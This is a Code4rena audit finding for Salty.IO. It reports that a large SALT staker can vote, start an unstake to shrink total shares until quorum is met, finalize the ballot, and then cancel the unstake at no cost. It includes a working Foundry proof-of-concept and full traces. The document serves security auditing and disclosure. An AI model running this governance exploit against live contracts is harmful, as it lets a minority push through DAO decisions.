search

code-423n4 / 2024-01-salty-findings

11 stars 6 forks source link

A SALT whale can manipulate the ballot quorum to finalize when it would not be suposed to #706

Closed c4-bot-8 closed 9 months ago

c4-bot-8 commented 9 months ago

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L317-L339

Vulnerability details

Impact

Users that have huge amounts of staked SALT can manipulate the return of Proposals::requiredQuorumForBallotType() for free. They can vote for a proposal, unstake they huge amount, the total shares inside the staking contract will decrease and as a result, the quorum will increase. After that, the user can immediately cancel unstake recovering all his staked SALT and having no penalty.

Proof of Concept

Check this foundry test

Setup:

contract TestProposals is Deployment
    {
    // User wallets for testing
    address public constant alice = address(0x1111);
    address public constant bob = address(0x2222);
    address public constant charlie = address(0x3333);

    constructor()
        {
        // If $COVERAGE=yes, create an instance of the contract so that coverage testing can work
        // Otherwise, what is tested is the actual deployed contract on the blockchain (as specified in Deployment.sol)
        if ( keccak256(bytes(vm.envString("COVERAGE" ))) == keccak256(bytes("yes" )))
            initializeContracts();

        grantAccessAlice();
        grantAccessBob();
        grantAccessCharlie();

        vm.prank(address(initialDistribution));
        salt.transfer(DEPLOYER, 100000000 ether);

        // Allow time for proposals
        vm.warp( block.timestamp + 45 days );
        }

    function setUp() public {
        vm.startPrank( DEPLOYER );
        usds.approve( address(proposals), type(uint256).max );
        salt.approve( address(staking), type(uint256).max );
        vm.stopPrank();
    }

Proof of Concept:

    function testDAOPOC() public {

        address saltWhale = alice;
        address otherStakers = bob;

        // The salt wahle have a big proportion of the total staked SALT
        vm.startPrank(DEPLOYER);
        salt.transfer(saltWhale, 930_000 ether);
        salt.transfer(otherStakers, 9_070_000 ether);
        vm.stopPrank();

        vm.startPrank(saltWhale);
        salt.approve(address(staking), 930_000 ether);
        staking.stakeSALT(930_000 ether);
        vm.stopPrank();

        vm.startPrank(otherStakers);
        salt.approve(address(staking), 9_070_000 ether);
        staking.stakeSALT(9_070_000 ether);
        vm.stopPrank();

        bytes32[] memory poolIDs = new bytes32[](1);
        poolIDs[0] = bytes32(0);

        console.log("Total shares", staking.totalSharesForPools(poolIDs)[0]);
        console.log("Whale shares", staking.userShareForPools(saltWhale, poolIDs)[0]);
        console.log("Other stakers shares", staking.userShareForPools(otherStakers, poolIDs)[0]);

        // The whale votes for a proposal
        vm.startPrank(saltWhale);
        uint256 ballotID = proposals.proposeParameterBallot(2, "description" );
        Vote newUserVote = Vote.DECREASE;
        proposals.castVote(ballotID, newUserVote);

        skip(10 days);

        // Ballot proposer should not be able to finalize the ballot because not enough shares had been
        // used to vote.
        //                          930 000 ether
        // Voting power used = ---------------------- = 9.3%
        //                        10 000 000 ether
        // Because, the required quorum is 10%
        vm.expectRevert();
        dao.finalizeBallot(ballotID);

        // The whale can manipulate the totalShares by initiating unstake
        uint256 unstakeID = staking.unstake(930_000 ether, 52);

        // After that the quorum is reached due to the decrease of the total shares and the whale can finalize the ballot
        dao.finalizeBallot(ballotID);

        // After finalizing the ballot the whale can just recover his shares by canceling the unstake
        staking.cancelUnstake(unstakeID);

        vm.stopPrank();
    }

Output traces:

Running 1 test for src/dao/tests/DAOProposalsPOCs.t.sol:TestProposals
[PASS] testDAOPOC() (gas: 754711)
Logs:
  Total shares 10000000000000000000000000
  Whale shares 930000000000000000000000
  Other stakers shares 9070000000000000000000000

Traces:
  [758924] TestProposals::testDAOPOC() 
    ├─ [0] VM::startPrank(0x73107dA86708c2DAd0D91388fB057EeE3E2581aF) 
    │   └─ ← ()
    ├─ [29734] Salt::transfer(0x0000000000000000000000000000000000001111, 930000000000000000000000 [9.3e23]) 
    │   ├─ emit Transfer(from: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, to: 0x0000000000000000000000000000000000001111, value: 930000000000000000000000 [9.3e23])
    │   └─ ← true
    ├─ [24934] Salt::transfer(0x0000000000000000000000000000000000002222, 9070000000000000000000000 [9.07e24]) 
    │   ├─ emit Transfer(from: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, to: 0x0000000000000000000000000000000000002222, value: 9070000000000000000000000 [9.07e24])
    │   └─ ← true
    ├─ [0] VM::stopPrank() 
    │   └─ ← ()
    ├─ [0] VM::startPrank(0x0000000000000000000000000000000000001111) 
    │   └─ ← ()
    ├─ [24604] Salt::approve(Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], 930000000000000000000000 [9.3e23]) 
    │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000001111, spender: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], value: 930000000000000000000000 [9.3e23])
    │   └─ ← true
    ├─ [82572] Staking::stakeSALT(930000000000000000000000 [9.3e23]) 
    │   ├─ [14386] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall]
    │   │   ├─ [4706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall]
    │   │   │   └─ ← true
    │   │   └─ ← true
    │   ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← true
    │   ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000001111, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountIncreased: 930000000000000000000000 [9.3e23])
    │   ├─ [22025] Salt::transferFrom(0x0000000000000000000000000000000000001111, Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], 930000000000000000000000 [9.3e23]) 
    │   │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000001111, spender: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], value: 0)
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000001111, to: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], value: 930000000000000000000000 [9.3e23])
    │   │   └─ ← true
    │   ├─ emit SALTStaked(user: 0x0000000000000000000000000000000000001111, amountStaked: 930000000000000000000000 [9.3e23])
    │   └─ ← ()
    ├─ [0] VM::stopPrank() 
    │   └─ ← ()
    ├─ [0] VM::startPrank(0x0000000000000000000000000000000000002222) 
    │   └─ ← ()
    ├─ [24604] Salt::approve(Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], 9070000000000000000000000 [9.07e24]) 
    │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], value: 9070000000000000000000000 [9.07e24])
    │   └─ ← true
    ├─ [36152] Staking::stakeSALT(9070000000000000000000000 [9.07e24]) 
    │   ├─ [3886] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000002222) [staticcall]
    │   │   ├─ [2706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000002222) [staticcall]
    │   │   │   └─ ← true
    │   │   └─ ← true
    │   ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← true
    │   ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000002222, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountIncreased: 9070000000000000000000000 [9.07e24])
    │   ├─ [4505] Salt::transferFrom(0x0000000000000000000000000000000000002222, Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], 9070000000000000000000000 [9.07e24]) 
    │   │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], value: 0)
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000002222, to: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], value: 9070000000000000000000000 [9.07e24])
    │   │   └─ ← true
    │   ├─ emit SALTStaked(user: 0x0000000000000000000000000000000000002222, amountStaked: 9070000000000000000000000 [9.07e24])
    │   └─ ← ()
    ├─ [0] VM::stopPrank() 
    │   └─ ← ()
    ├─ [1294] Staking::totalSharesForPools([0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall]
    │   └─ ← [10000000000000000000000000 [1e25]]
    ├─ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000084595161401484a000000000000000000000000000000000000000000000000000000000000000000000c546f74616c207368617265730000000000000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [1532] Staking::userShareForPools(0x0000000000000000000000000000000000001111, [0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall]
    │   └─ ← [930000000000000000000000 [9.3e23]]
    ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000c4ef66a948d2c1400000000000000000000000000000000000000000000000000000000000000000000c5768616c65207368617265730000000000000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [1532] Staking::userShareForPools(0x0000000000000000000000000000000000002222, [0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall]
    │   └─ ← [9070000000000000000000000 [9.07e24]]
    ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000780a5af6ab87588c0000000000000000000000000000000000000000000000000000000000000000000144f74686572207374616b65727320736861726573000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [0] VM::startPrank(0x0000000000000000000000000000000000001111) 
    │   └─ ← ()
    ├─ [298304] Proposals::proposeParameterBallot(2, description) 
    │   ├─ [370] ExchangeConfig::dao() [staticcall]
    │   │   └─ ← DAO: [0xAE65Fd081a1aAf0199d46D6101263489CcE9bd99]
    │   ├─ [529] Staking::totalShares(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← 10000000000000000000000000 [1e25]
    │   ├─ [2329] DAOConfig::requiredProposalPercentStakeTimes1000() [staticcall]
    │   │   └─ ← 500
    │   ├─ [701] Staking::userShareForPool(0x0000000000000000000000000000000000001111, 0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← 930000000000000000000000 [9.3e23]
    │   ├─ [2352] DAOConfig::ballotMinimumDuration() [staticcall]
    │   │   └─ ← 864000 [8.64e5]
    │   ├─ emit ProposalCreated(ballotID: 1, ballotType: 0, ballotName: parameter:2)
    │   └─ ← 1
    ├─ [74491] Proposals::castVote(1, 1) 
    │   ├─ [701] Staking::userShareForPool(0x0000000000000000000000000000000000001111, 0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← 930000000000000000000000 [9.3e23]
    │   ├─ emit VoteCast(voter: 0x0000000000000000000000000000000000001111, ballotID: 1, vote: 1, votingPower: 930000000000000000000000 [9.3e23])
    │   └─ ← ()
    ├─ [0] VM::warp(1711192404 [1.711e9]) 
    │   └─ ← ()
    ├─ [0] VM::expectRevert() 
    │   └─ ← ()
    ├─ [24644] DAO::finalizeBallot(1) 
    │   ├─ [18720] Proposals::canFinalizeBallot(1) [staticcall]
    │   │   ├─ [529] Staking::totalShares(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   │   └─ ← 10000000000000000000000000 [1e25]
    │   │   ├─ [2374] DAOConfig::baseBallotQuorumPercentTimes1000() [staticcall]
    │   │   │   └─ ← 10000 [1e4]
    │   │   ├─ [260] ExchangeConfig::salt() [staticcall]
    │   │   │   └─ ← Salt: [0x1d2Ef6eb8C15fEc174E7A9c30F21764d467423b1]
    │   │   ├─ [2349] Salt::totalSupply() [staticcall]
    │   │   │   └─ ← 100000000000000000000000000 [1e26]
    │   │   └─ ← false
    │   └─ ← "The ballot is not yet able to be finalized"
    ├─ [138169] Staking::unstake(930000000000000000000000 [9.3e23], 52) 
    │   ├─ [2306] 0x01a1B171D93B7c5e0dF57a10465D905cb32Bb4C7::90d60965() [staticcall]
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000002
    │   ├─ [2307] 0x01a1B171D93B7c5e0dF57a10465D905cb32Bb4C7::1d370380() [staticcall]
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000034
    │   ├─ [2351] 0x01a1B171D93B7c5e0dF57a10465D905cb32Bb4C7::40cf2274() [staticcall]
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000014
    │   ├─ emit UserShareDecreased(wallet: 0x0000000000000000000000000000000000001111, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountDecreased: 930000000000000000000000 [9.3e23], claimedRewards: 0)
    │   ├─ emit UnstakeInitiated(user: 0x0000000000000000000000000000000000001111, unstakeID: 0, amountUnstaked: 930000000000000000000000 [9.3e23], claimableSALT: 930000000000000000000000 [9.3e23], numWeeks: 52)
    │   └─ ← 0
    ├─ [46594] DAO::finalizeBallot(1) 
    │   ├─ [18721] Proposals::canFinalizeBallot(1) [staticcall]
    │   │   ├─ [529] Staking::totalShares(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   │   └─ ← 9070000000000000000000000 [9.07e24]
    │   │   ├─ [2374] DAOConfig::baseBallotQuorumPercentTimes1000() [staticcall]
    │   │   │   └─ ← 10000 [1e4]
    │   │   ├─ [260] ExchangeConfig::salt() [staticcall]
    │   │   │   └─ ← Salt: [0x1d2Ef6eb8C15fEc174E7A9c30F21764d467423b1]
    │   │   ├─ [2349] Salt::totalSupply() [staticcall]
    │   │   │   └─ ← 100000000000000000000000000 [1e26]
    │   │   └─ ← true
    │   ├─ [4651] Proposals::ballotForID(1) [staticcall]
    │   │   └─ ← (1, true, 0, parameter:2, 0x0000000000000000000000000000000000000000, 2, , description, 1711192404 [1.711e9])
    │   ├─ [4651] Proposals::ballotForID(1) [staticcall]
    │   │   └─ ← (1, true, 0, parameter:2, 0x0000000000000000000000000000000000000000, 2, , description, 1711192404 [1.711e9])
    │   ├─ [1073] Proposals::winningParameterVote(1) [staticcall]
    │   │   └─ ← 1
    │   ├─ [6872] 0x01a1B171D93B7c5e0dF57a10465D905cb32Bb4C7::2c3fe737(0000000000000000000000000000000000000000000000000000000000000000) 
    │   │   ├─ emit MinUnstakeWeeksChanged(newMinUnstakeWeeks: 1)
    │   │   └─ ← ()
    │   ├─ [6516] Proposals::markBallotAsFinalized(1) 
    │   │   ├─ [370] ExchangeConfig::dao() [staticcall]
    │   │   │   └─ ← DAO: [0xAE65Fd081a1aAf0199d46D6101263489CcE9bd99]
    │   │   ├─ emit BallotFinalized(ballotID: 1)
    │   │   └─ ← ()
    │   ├─ emit BallotFinalized(ballotID: 1, winningVote: 1)
    │   └─ ← ()
    ├─ [27923] Staking::cancelUnstake(0) 
    │   ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← true
    │   ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000001111, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountIncreased: 930000000000000000000000 [9.3e23])
    │   ├─ emit UnstakeCancelled(user: 0x0000000000000000000000000000000000001111, unstakeID: 0)
    │   └─ ← ()
    ├─ [0] VM::stopPrank() 
    │   └─ ← ()
    └─ ← ()

Test result: ok. 1 passed; 0 failed; finished in 9.81s

Tools Used

Manual review

Recommended Mitigation Steps

Taking snapshots of the total voting power of the staking contract as well as the voting power of the users would not allow this kind of attack.

Assessed type

Governance

c4-judge commented 9 months ago

Picodes marked the issue as duplicate of #46

c4-judge commented 8 months ago

Picodes marked the issue as satisfactory